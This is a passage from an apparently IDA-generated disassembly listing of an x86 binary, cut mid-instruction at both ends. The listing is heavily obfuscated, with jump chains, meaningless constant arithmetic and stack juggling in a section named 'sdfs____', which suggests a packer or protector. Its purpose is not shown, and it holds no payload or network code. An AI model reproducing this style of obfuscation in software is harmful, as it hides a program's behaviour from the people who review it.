edx sub esp, 4 mov [esp+0], edi pop edx jmp loc_5A8514 ; END OF FUNCTION CHUNK FOR sub_5A5824 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A8A19: ; CODE XREF: sub_59C979+9A2Bj push 16C2h mov [esp+0Eh+var_10+2], ebp mov ebp, esp push edx mov edx, 298F0311h push ebp mov ebp, 5D6A7F92h inc ebp neg ebp and ebp, 40091A18h inc ebp add ebp, 57C22405h jmp loc_5A2025 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2166 loc_5A8A44: ; CODE XREF: sub_5A2166-7507j ; sdfs____:005A1C0Ej push [esp-4+arg_0] push dword ptr [esp+0] pop ecx add esp, 4 add esp, 4 push 37CEh mov [esp-4+arg_0], esi sub esp, 4 jmp loc_5AEC34 ; END OF FUNCTION CHUNK FOR sub_5A2166 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A8A64: ; CODE XREF: sub_59D6B8+9887j push [esp+14h+var_10] mov esi, [esp+18h+var_18] push esi mov esi, esp add esi, 4 push eax jmp loc_5AF7DA ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A8A7A: ; CODE XREF: sub_5992DA+F1Dj add ecx, 5C94AA4h mov eax, ecx pop ecx add edx, 7F8D06B1h jmp loc_5ABA61 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59993B loc_5A8A8E: ; CODE XREF: sub_59993B+10002j mov eax, [esp+0Ch+var_C] push edx push esp pop edx jmp loc_59C2DB ; END OF FUNCTION CHUNK FOR sub_59993B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8A99: ; CODE XREF: sub_5AA2D1-5C45j inc ax not ax not ax jmp loc_59CD71 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A54C9 loc_5A8AA6: ; CODE XREF: sub_5A54C9-3A1Dj push eax push 2BBA323Bh push [esp+0Ch+var_C] pop eax add esp, 4 jmp loc_5A7007 ; END OF FUNCTION CHUNK FOR sub_5A54C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A8AB8: ; CODE XREF: sub_5ADD33-9B5j push dword ptr [esp+0] push [esp+4+var_4] mov edx, [esp+8+var_8] push eax mov eax, esp add eax, 4 jmp loc_5AF28A ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A8ACE: ; CODE XREF: sub_5A0FFF+2F9Ej ; sub_59D6B8+8DA9j jmp loc_59C4E2 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5A8AD3: ; CODE XREF: sub_5AC803-12A51j add esp, 4 push ebx mov bh, 46h and bh, 12h jns loc_59CD88 xor bh, 32h shl bh, 2 shr bh, 4 push ecx push esp loc_5A8AF0: ; CODE XREF: sub_5A5EFF+66F8j push ebp xor [esp+8+var_8], 7F8E76EBh pop esi push eax push esi mov esi, 74546E52h xor esi, 1373129Eh js loc_5AA4F7 neg esi jge sub_59F1F3 jmp loc_5A81DF ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_5A8B19: ; CODE XREF: sub_5996E4-4DFj push esp pop esi push edi jmp loc_5A9614 ; END OF FUNCTION CHUNK FOR sub_5996E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8B3E loc_5A8B21: ; CODE XREF: sub_5A8B3E+4546j add esp, 4 jmp loc_5AACC6 ; END OF FUNCTION CHUNK FOR sub_5A8B3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8B2C: ; CODE XREF: sub_5AA2D1-B5F4j push 703Ch jmp loc_5B00D8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A8B36: ; CODE XREF: sdfs____:005AA8C6j sub cl, 24h jmp loc_5AA3B4 ; =============== S U B R O U T I N E ======================================= sub_5A8B3E proc near ; DATA XREF: sdfs____:00598FE4o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A3A8E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A8B21 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AACC6 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005AB132 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AD07D SIZE 0000000C BYTES push dword ptr [esp+0] pop eax jmp loc_5AB132 sub_5A8B3E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADAE7 loc_5A8B47: ; CODE XREF: sub_5ADAE7-10702j mov ecx, [esp+8+var_8] add esp, 4 push edi push esp pop edi push 7190h mov [esp+0Ch+var_C], edx jmp loc_59A9FF ; END OF FUNCTION CHUNK FOR sub_5ADAE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A8B60: ; CODE XREF: sub_5ADD33-7999j btr [esp+0], ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8B6B: ; CODE XREF: sub_5AA2D1-2D88j pop esp push 4861h mov [esp-20h+arg_1C], edx push 4 pop edx add ecx, 1850243h jmp loc_5ACA40 ; --------------------------------------------------------------------------- loc_5A8B85: ; CODE XREF: sub_5AA2D1+5E41j jmp sub_5A1531 ; --------------------------------------------------------------------------- loc_5A8B8A: ; CODE XREF: sub_5AA2D1-8BDj sub [esp-20h+arg_1C], 464903D9h jmp loc_5A9092 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A355D loc_5A8B96: ; CODE XREF: sub_5A355D+9j mov [esp+4+var_4], ebx jmp loc_5AFDAD ; END OF FUNCTION CHUNK FOR sub_5A355D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5A8B9E: ; CODE XREF: sub_59A9E9+116B1j sub edi, 4AE172Ah jmp loc_5AC073 ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8BA9: ; CODE XREF: sub_5AA2D1+5601j mov edx, 42FF53A6h inc edx neg edx and edx, 71FB74D5h add edx, 14884FE3h xor esi, edx pop edx sub ebx, esi pop esi jmp loc_5A7C47 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5997FD loc_5A8BC8: ; CODE XREF: sub_5997FD+4859j add [esp+4], ebp jmp loc_5AE51F ; END OF FUNCTION CHUNK FOR sub_5997FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F074 loc_5A8BD1: ; CODE XREF: sub_59F074-321Bj shr ebx, 7 add ebx, 42F1DFD6h or ebp, ebx mov ebx, [esp+0] add esp, 4 shl ebp, 8 push eax mov eax, 6F93BFB1h xor ebp, eax jmp loc_5ABBA2 ; END OF FUNCTION CHUNK FOR sub_59F074 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A8BF2: ; CODE XREF: sub_5A79BE+1A9Fj pop esp mov [esp-4+arg_0], eax mov ebx, [esp-4+arg_0] add esp, 4 pop eax jmp loc_5A34D5 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A8C05: ; CODE XREF: sub_5B01F7-158B0j mov ebp, [esp+18h+var_18] add esp, 4 add [esp+14h+var_10], 2855473Dh add [esp+14h+var_10], ebp push ecx jmp loc_5AFC3D ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_5A8C20: ; CODE XREF: sub_5AB207+4050j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-0Ch+arg_8] pop esp push edi mov edi, esp jmp loc_59F22F ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5A8C3A: ; CODE XREF: sub_59FC02:loc_5A4E47j ; sub_5A18F6+E46Ej pop esi pop [esp+10h+var_10] jmp loc_5A8379 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A8C43: ; CODE XREF: sub_5992DA+823Dj add edx, 2D5C2663h add edx, ebx jmp loc_59F3CA ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5A8C50: ; CODE XREF: sub_59CC21+Aj ; sub_59E94B+6D5Dj add dword ptr [esp+0], 4 jmp loc_5AA9BD ; END OF FUNCTION CHUNK FOR sub_59E94B ; =============== S U B R O U T I N E ======================================= sub_5A8C5C proc near ; CODE XREF: sub_5A311C-A45j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 0059CB7E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A510A SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A7920 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A799D SIZE 00000021 BYTES sub esp, 4 mov [esp-8+arg_4], eax jmp loc_59CB7E sub_5A8C5C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A8C6A: ; CODE XREF: sub_5A9EBF-EF5Bj xor eax, 5092D7E4h mov ebp, eax pop eax jmp loc_5AA630 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A8C77: ; CODE XREF: sub_59CBE1+20D6j jmp loc_5A988C ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FB1A loc_5A8C7C: ; CODE XREF: sub_59FB1A+F7FDj pop eax jmp loc_5A957C ; END OF FUNCTION CHUNK FOR sub_59FB1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D18A loc_5A8C82: ; CODE XREF: sub_59D18A+2765j mov edx, esp add edx, 4 jmp loc_5A2D9D ; END OF FUNCTION CHUNK FOR sub_59D18A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5A8C8F: ; CODE XREF: sub_5A913B-E8B8j add bl, 61h jmp loc_5AF8B6 ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_5A8C97: ; CODE XREF: sub_5A0924+85CFj xchg ebx, [esp+8+var_8] pop esp mov [esp+4+var_4], esi jmp loc_599B3E ; END OF FUNCTION CHUNK FOR sub_5A0924 ; =============== S U B R O U T I N E ======================================= sub_5A8CA3 proc near ; CODE XREF: sub_59A516+8C52j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A142E SIZE 0000001A BYTES push ebp push esp pop ebp jmp loc_5A142E sub_5A8CA3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5A8CAB: ; CODE XREF: sub_5AC803-4AB8j shr ch, 8 jmp loc_599D06 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8CB3: ; CODE XREF: sub_5AA2D1-6623j push ecx jmp loc_5A9CBC ; --------------------------------------------------------------------------- loc_5A8CB9: ; CODE XREF: sub_5AA2D1-8ADDj push 546h mov [esp+0Ch+var_C], edx mov edx, 6F6D2831h sub esp, 4 mov [esp+10h+var_10], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+10h+var_10] pop esp mov [esp+0Ch+var_C], edx push edx mov edx, 31BB4122h jmp loc_59D105 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A169C loc_5A8CEF: ; CODE XREF: sub_5A169C+8FBBj push eax mov eax, 4 sub edi, eax pop eax xchg edi, [esp+4+var_4] pop esp mov [esp+0], esi mov esi, esp add esi, 4 jmp loc_5A5340 ; END OF FUNCTION CHUNK FOR sub_5A169C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A8D0C: ; CODE XREF: sub_59EE3E+8208j push [esp+4+var_4] jmp loc_59DC61 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A8D14: ; CODE XREF: sub_59D6B8-1B0Dj jns loc_59C1CB neg ebx js loc_5A15AA add ebx, 0FDAF188h and ecx, ebx mov ebx, [esp+4+var_4] add esp, 4 shl ecx, 2 push 70D6h mov [esp+4+var_4], edx push ecx mov ecx, 125D4274h add ecx, 5CBED1BBh mov edx, ecx pop ecx and edx, 80F2CDBh push 520h mov [esp+8+var_8], esi mov esi, 602F355Ah or edx, esi pop esi jmp loc_59A9DC ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- loc_5A8D65: ; CODE XREF: sdfs____:005A3681j xchg edi, ecx jmp loc_5A3B4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4DFC loc_5A8D6C: ; CODE XREF: sub_5A4DFC+966Bj push 53BCh jmp loc_5AF8E7 ; END OF FUNCTION CHUNK FOR sub_5A4DFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2789 loc_5A8D76: ; CODE XREF: sub_5A2789+AA4Bj add edi, 533D446Dh add eax, edi mov edi, [esp+0] add esp, 4 sub ebx, 6A5692Ah add ebx, eax push eax mov eax, 3C4E079Ah jmp sub_59E94B ; END OF FUNCTION CHUNK FOR sub_5A2789 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A8D9A: ; CODE XREF: sub_59961A+4876j ; sub_5A5EFF-676Aj push ecx jmp loc_59AEEE ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF46F loc_5A8DA0: ; CODE XREF: sub_5AF46F-535Fj add esi, 7410EFCh sub esi, ebp jmp sub_59F566 ; END OF FUNCTION CHUNK FOR sub_5AF46F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8DAD: ; CODE XREF: sub_5AA2D1+2649j mov ebp, esp add ebp, 4 push ebx mov ebx, 0B6F7057h sub ebx, 6E422E6Bh jmp loc_5A88C1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_5A8DC6: ; CODE XREF: sub_5AFA26-3954j shl ebp, 6 jmp loc_5A9AF7 ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C1E9 loc_5A8DCE: ; CODE XREF: sub_59C1E9+9j neg esi inc esi dec esi jmp loc_59B3AE ; END OF FUNCTION CHUNK FOR sub_59C1E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DD36 loc_5A8DD7: ; CODE XREF: sub_59DD36+4A4Ej xchg ebx, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp+0], ebp mov ebp, esp jmp loc_5ACE78 ; END OF FUNCTION CHUNK FOR sub_59DD36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A86D0 loc_5A8DE7: ; CODE XREF: sub_5A86D0-AEABj ; sub_5AF6AC:loc_5AF563j xchg edx, ebx not edx jmp loc_5AA374 ; END OF FUNCTION CHUNK FOR sub_5A86D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A8DF0: ; CODE XREF: sub_5A9EC5+57E2j shl al, 3 shr al, 1 push ebx mov bh, 37h add al, bh jmp loc_5A8F52 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A8DFF: ; CODE XREF: sub_5ADD33-6C15j pop ebp add edx, 5FAB4C22h add edx, ebx jmp loc_5A268F ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A8E0D: ; CODE XREF: sub_59A7E7+8j ; sub_5AA26A-E70Dj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0] pop esp jmp loc_599B5E ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABB65 loc_5A8E22: ; CODE XREF: sub_5ABB65+Dj pop ebx add ebx, 4 push 3668h jmp loc_59F538 ; END OF FUNCTION CHUNK FOR sub_5ABB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A8E33: ; CODE XREF: sub_5A9EC5-79EEj inc al push dx mov dl, 8 jmp loc_5AAB6E ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; =============== S U B R O U T I N E ======================================= sub_5A8E3E proc near ; CODE XREF: sub_5AA2D1-4B1Aj var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A2915 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A5C87 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AEDD2 SIZE 00000010 BYTES sub esp, 4 mov [esp+4+var_4], esi push edi push 4861380Fh mov edi, [esp+0Ch+var_C] jmp loc_5A5C87 sub_5A8E3E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A8E55: ; CODE XREF: sub_5A2E28+3AFDj pop edi add esp, 4 mov edx, [esp-0Ch+arg_8] push ecx mov ecx, esp sub esp, 4 jmp loc_59B660 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABB65 loc_5A8E6A: ; CODE XREF: sub_5ABB65-64F6j push esi mov esi, 7387FE87h jmp loc_599D48 ; END OF FUNCTION CHUNK FOR sub_5ABB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8E75: ; CODE XREF: sub_5AA2D1-A00j mov ecx, ebp mov ebp, [esp+14h+var_14] add esp, 4 mov ebp, 2A41749h sub ebp, ecx pop ecx add esi, ebp pop ebp push esi push [esp+0Ch+var_8] jmp loc_5AFC34 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A8E92 proc near ; CODE XREF: sub_5A0327+4773j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059D5BF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059DB3E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059EF4C SIZE 0000004A BYTES ; FUNCTION CHUNK AT 005AF940 SIZE 00000013 BYTES sub esp, 4 mov [esp+0], edx mov dl, ah mov cl, dl pop edx pop eax jmp loc_59D5BF sub_5A8E92 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A8EA6: ; CODE XREF: sub_59D6B8+A787j sub ecx, 15A43154h add edx, ecx pop ecx sub edx, 4 jmp loc_5AE665 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_5A8EBA: ; CODE XREF: sub_5AE29C-C471j add ebp, 0D8D7323h jmp loc_5A4EB4 ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5A8EC5: ; CODE XREF: sub_599D0E+167Ej add bl, dh jmp loc_59F33E ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A00E2 loc_5A8ECC: ; CODE XREF: sub_5A00E2+2Ej xor ebx, 6D060A54h xor ebx, 394545FEh add esi, ebx pop ebx sub esp, 4 mov [esp+0Ch+var_C], ebx push eax jmp loc_5A7DCB ; END OF FUNCTION CHUNK FOR sub_5A00E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_5A8EEA: ; CODE XREF: sub_5A0924+434Cj add ebx, 4 sub ebx, 4 jmp loc_5A8C97 ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03E8 loc_5A8EF8: ; CODE XREF: sub_5B03E8-10BB9j mov [esp+4+var_4], edi mov edi, esp add edi, 4 sub edi, 4 push edi push [esp+8+var_4] pop edi pop [esp+8+var_8] pop esp jmp loc_5AB59A ; END OF FUNCTION CHUNK FOR sub_5B03E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_5A8F18: ; CODE XREF: sub_5A600D-782Aj add ah, 3Eh jb loc_5A37C4 jmp loc_59D96F ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- jmp loc_59996C ; --------------------------------------------------------------------------- push dword ptr [esp] mov ch, bl ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5A8F30: ; CODE XREF: sub_59F02F-36F2j push 344Ah mov [esp+10h+var_10], eax jmp loc_59D2DE ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A8F3D: ; CODE XREF: sub_59CBE1+3456j xor ebp, esi pop esi xor eax, ebp jmp loc_5AFA50 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A8F47: ; CODE XREF: sub_5992DA+D745j add ebp, 120D0B11h jmp loc_5A80F6 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A8F52: ; CODE XREF: sub_5A9EC5-10CBj pop ebx xor dh, al pop eax jmp loc_5AE140 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5A8F5B: ; CODE XREF: sub_5AC803-3814j add dword ptr [esp+0], 4 pop dword ptr [esp+0] add [esp-0Ch+arg_8], 4 pop ecx push 4435h mov [esp-0Ch+arg_8], esi mov esi, 30FB63EAh push edx mov edx, 369B0139h jmp loc_5A2DAB ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA52F loc_5A8F82: ; CODE XREF: sub_5AA52F-35CBj push ecx push ebx mov bh, 86h mov cl, bh pop ebx and cl, 0F6h push eax mov ah, 0DFh not ah sub ah, 69h sub cl, ah pop eax mov dl, cl push dword ptr [esp] pop ecx add esp, 4 sub al, dl mov dx, word ptr [esp+4+var_4] add esp, 2 push edx push ecx mov cl, 0E5h jmp loc_5A2B5D ; END OF FUNCTION CHUNK FOR sub_5AA52F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A8FB5: ; CODE XREF: sub_5992DA+16F18j pop esp mov [esp-4+arg_0], ebx mov ebx, 64002F90h xor eax, ebx pop ebx add eax, 936BF080h add ebx, 6B8627D3h jmp loc_59C061 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_5A8FD1: ; CODE XREF: sub_5996E4+16350j mov esi, esp jmp loc_5A56E6 ; END OF FUNCTION CHUNK FOR sub_5996E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5A8FD8: ; CODE XREF: sub_599D0E+D5B8j mov word ptr [esp-0Ch+arg_8], ax jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C1E9 loc_5A8FE1: ; CODE XREF: sub_59C1E9-E25j add edi, 72A6558Ch jmp loc_5A135A ; END OF FUNCTION CHUNK FOR sub_59C1E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5A8FEC: ; CODE XREF: sub_5AC803-F88Fj ; sub_5A9FFB+6j mov [esp-4+arg_0], esp jmp loc_5A8F5B ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB82 loc_5A8FF4: ; CODE XREF: sub_59DB82-1A58j push [esp-4+arg_0] pop ecx add esp, 4 push ecx mov ecx, 2 add eax, ecx mov ecx, [esp-4+arg_0] add esp, 4 push eax jmp loc_5A7B66 ; END OF FUNCTION CHUNK FOR sub_59DB82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_5A9015: ; CODE XREF: sub_59ED98-621j sub al, 74h jmp loc_59B6CC ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A901C: ; CODE XREF: sub_5A9EBF-D615j add edx, ebp pop ebp sub esp, 4 mov [esp+0], edx push edi mov edi, 148098Ah dec edi not edi sub edi, 0AD10BAF9h jmp loc_5A825D ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_5A9039: ; CODE XREF: sub_5A503A-3665j ; sub_5AC803-7749j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5A903E: ; CODE XREF: sub_5AA810:loc_5A1182j add ecx, 1F8F1D36h jmp loc_59B18B ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D18A loc_5A9049: ; CODE XREF: sub_59D18A+6F33j mov esi, 92C6DF8h or esi, 5B7467DEh shr esi, 4 jz loc_5A5A9C sub esi, 4BA5261Fh add esi, 72CF5F7Eh mov ebp, esi pop esi add ebp, esi pop esi jmp loc_5A699F ; END OF FUNCTION CHUNK FOR sub_59D18A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9074: ; CODE XREF: sub_5AA2D1+4978j jmp loc_5A4FA2 ; --------------------------------------------------------------------------- loc_5A9079: ; CODE XREF: sub_5AA2D1-10AF8j jo loc_5AEF5D add eax, 58727A36h jmp loc_59AC20 ; --------------------------------------------------------------------------- loc_5A9089: ; CODE XREF: sub_59A479+D3D1j ; sub_5AA2D1-2518j shr ebx, 7 inc ebx jmp sub_5AD795 ; --------------------------------------------------------------------------- loc_5A9092: ; CODE XREF: sub_5AA2D1-1740j pop ecx jmp loc_5A6EAA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3CF9 loc_5A9098: ; CODE XREF: sub_5A3CF9-6939j add eax, 5E771A78h xchg eax, ebx jmp loc_5B01A0 ; END OF FUNCTION CHUNK FOR sub_5A3CF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A90A3: ; CODE XREF: sub_5A0FFF+1FDj ; sub_5A4840+12j add eax, 4 add eax, 4 jmp loc_5AAF22 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5A90B0: ; CODE XREF: sub_5A9D64-E4C3j push 4FCh mov [esp+0Ch+var_C], ebx mov ebx, 61655E8Eh add ebx, 0F5C5A30h inc ebx js loc_5A6626 jmp loc_59EFEF ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A35F6 loc_5A90CF: ; CODE XREF: sub_5A35F6+8EA7j xor ecx, 19D2755Ah jb loc_5AFB11 and ecx, 52A67E6Fh jmp loc_5A6456 ; END OF FUNCTION CHUNK FOR sub_5A35F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A90E6: ; CODE XREF: sub_59EE3E+9783j ; sub_5AA2D1+2CACj pop esp jmp loc_5A9C2D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; 